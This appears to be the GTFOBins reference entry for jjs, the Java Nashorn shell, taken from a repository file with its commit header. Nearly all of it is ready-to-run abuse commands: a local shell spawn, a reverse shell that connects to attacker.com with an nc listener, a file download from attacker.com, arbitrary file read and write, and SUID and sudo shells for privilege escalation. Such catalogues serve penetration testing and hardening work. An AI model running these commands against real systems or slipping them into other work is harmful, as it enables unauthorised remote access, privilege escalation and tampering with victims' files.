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GTFOBins.github.io/_gtfobins/jjs.md
Emilio Pinna fdda727eb1 Add jjs
2018-10-14 21:01:33 +01:00

2.7 KiB

description functions
This tool is installed starting with Java SE 8.
shell reverse-shell file-download file-write file-read suid sudo
code
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 echo 'var host=Java.type("java.lang.System").getenv("RHOST"); var port=Java.type("java.lang.System").getenv("RPORT"); var ProcessBuilder = Java.type("java.lang.ProcessBuilder"); var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start(); var Socket = Java.type("java.net.Socket"); var s=new Socket(host,port); var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs
description code
Fetch a remote file via HTTP GET request. export URL=http://attacker.com/file_to_get export LFILE=file_to_save echo "var URL = Java.type('java.net.URL'); var ws = new URL('$URL'); var Channels = Java.type('java.nio.channels.Channels'); var rbc = Channels.newChannel(ws.openStream()); var FileOutputStream = Java.type('java.io.FileOutputStream'); var fos = new FileOutputStream('$LFILE'); fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE); fos.close(); rbc.close();" | jjs
code
echo 'var FileWriter = Java.type("java.io.FileWriter"); var fw=new FileWriter("./file_to_write"); fw.write("DATA"); fw.close();' | jjs
code
echo 'var BufferedReader = Java.type("java.io.BufferedReader"); var FileReader = Java.type("java.io.FileReader"); var br = new BufferedReader(new FileReader("file_to_read")); while ((line = br.readLine()) != null) { print(line); }' | jjs
description code
This has been found working in macOS but failing on Linux systems. echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | ./jjs
code
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | sudo jjs